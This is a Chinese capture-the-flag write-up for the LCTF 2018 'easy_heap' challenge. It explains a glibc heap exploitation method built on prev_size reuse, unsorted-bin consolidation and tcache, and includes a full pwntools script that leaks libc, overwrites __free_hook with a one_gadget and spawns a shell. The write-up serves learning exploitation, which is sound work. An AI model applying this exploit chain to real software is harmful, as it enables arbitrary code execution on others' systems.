Lctf 2018 easy_heap

题目分析

学长(衣食父母)出的题当然要好好分析了,不看ctfwiki我也分析不明白
在没有办法手动写入 prev_size ,但又必须使用 prev_size 才可以进行利用的情况下,考虑使用系统写入的 prev_size 。

方法为:在 unsorted bin 合并时会写入 prev_size,而该 prev_size 不会被轻易覆盖(除非有新的 prev_size 需要写入),所以可以利用该 prev_size 进行利用。

攻击流程

  • 将 A -> B -> C 三块 unsorted bin chunk 依次进行释放
  • A 和 B 合并,此时 C 前的 prev_size 写入为 0x200
  • A 、 B 、 C 合并,步骤 2 中写入的 0x200 依然保持
  • 利用 unsorted bin 切分,分配出 A
  • 利用 unsorted bin 切分,分配出 B,注意此时不要覆盖到之前的 0x200
  • 将 A 再次释放为 unsorted bin 的堆块,使得 fd 和 bk 为有效链表指针
  • 此时 C 前的 prev_size 依然为 0x200(未使用到的值),A B C 的情况: A (free) -> B (allocated) -> C (free),如果使得 B -- 进行溢出,则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。

但是在这个过程中需要注意 tcache 的影响。

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
import sys
import os
import os.path
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')

p = process('./easy_heap')

def cmd(idx):
    p.recvuntil('>')
    p.sendline(str(idx))


def new(size, content):
    cmd(1)
    p.recvuntil('>')
    p.sendline(str(size))
    p.recvuntil('> ')
    if len(content) >= size:
        p.send(content)
    else:
        p.sendline(content)


def delete(idx):
    cmd(2)
    p.recvuntil('index \n> ')
    p.sendline(str(idx))


def show(idx):
    cmd(3)
    p.recvuntil('> ')
    p.sendline(str(idx))
    return p.recvline()[:-1]


def main():
    # Your exploit script goes here

    # step 1: get three unsortedbin chunks
    # note that to avoid top consolidation, we need to arrange them like:
    # tcache * 6 -> unsortd  * 3 -> tcache
    for i in range(7):
        new(0x10, str(i) + ' - tcache')

    for i in range(3):
        new(0x10, str(i + 7) + ' - unsorted') # three unsorted bin chunks

    # arrange:
    for i in range(6):
        delete(i)
    delete(9)   #第十个块是tcache防合并块
    for i in range(6, 9):
        delete(i)  #设置第二个块的presize为0x200

    # step 2: use unsorted bin to overflow, and do unlink, trigger consolidation (overecvlineap)
    for i in range(7):
        new(0x10, str(i) + ' - tcache')

    # rearrange to take second unsorted bin into tcache chunk, but leave first 
    # unsorted bin unchanged
    new(0x10, '7 - first')
    new(0x10, '8 - second')
    new(0x10, '9 - third')

    for i in range(6):
        delete(i)
    # move second into tcache
    delete(8)
    # delete first to provide valid fd & bk
    delete(7)  

    new(0xf8, '0 - overflow')  #跳过presize直接设置size的inuse为0
    
    # fill up tcache
    delete(6)

    # trigger
    delete(9)

    # step 3: leak, fill up 
    for i in range(7):
        new(0x10, str(i) + ' - tcache')
    new(0x10, '8 - fillup')

    libc_leak = u64(show(0).strip().ljust(8, '\x00'))
    p.info('libc leak {}'.format(hex(libc_leak)))
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc.address = libc_leak - 0x3ebca0
    one_gadget = libc.address + 324386 
    # step 4: constrecvuntilct UAF, write into __free_hook
    new(0x10, '9 - next')
    
    # these two provides sendlineots for tcache
    delete(2)  #多释放一个,因为后面申请的时候最后一个可控地址块是第三个,ctfwiki这里有一点小问题
    delete(0)
    delete(9)
    new(0x10, p64(libc.symbols['__free_hook'])) # 0
    new(0x10, '')
    new(0x10, p64(one_gadget))
    delete(1)

    p.interactive()

if __name__ == '__main__':
    main()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 专业考题类型管理运行工作负责人一般作业考题内容选项A选项B选项C选项D选项E选项F正确答案 变电单选GYSZ本规程...
    小白兔去钓鱼阅读 9,059评论 0 13
  • 1.埋点是做什么的 2.如何进行埋点 3.埋点方案的设计 近期常被问到这个问题,我担心我的答案会将一些天真烂漫的孩...
    lxg阅读 2,031评论 0 1
  • 有点不太能明白,那些口上言辞凿凿说着“我内心责任感和集体荣誉感真的很强”的那类人,难见于她的行动,难道是得胜获...
    粉红袄子大棒槌阅读 245评论 0 0
  • 1、选择使用 在函数中添加"use strict";来确定使用严格模式 2、变量 创建变量有一定的显字1、不能意外...
    白璞1024阅读 773评论 0 50
  • 起初买这款洗发水真的是因为颜值购买的,看起来实在很赏心悦目呀。rahua是一款有机无硅洗护品牌,含洗薰衣草和桉树提...
    一只汤圆在南方阅读 346评论 0 0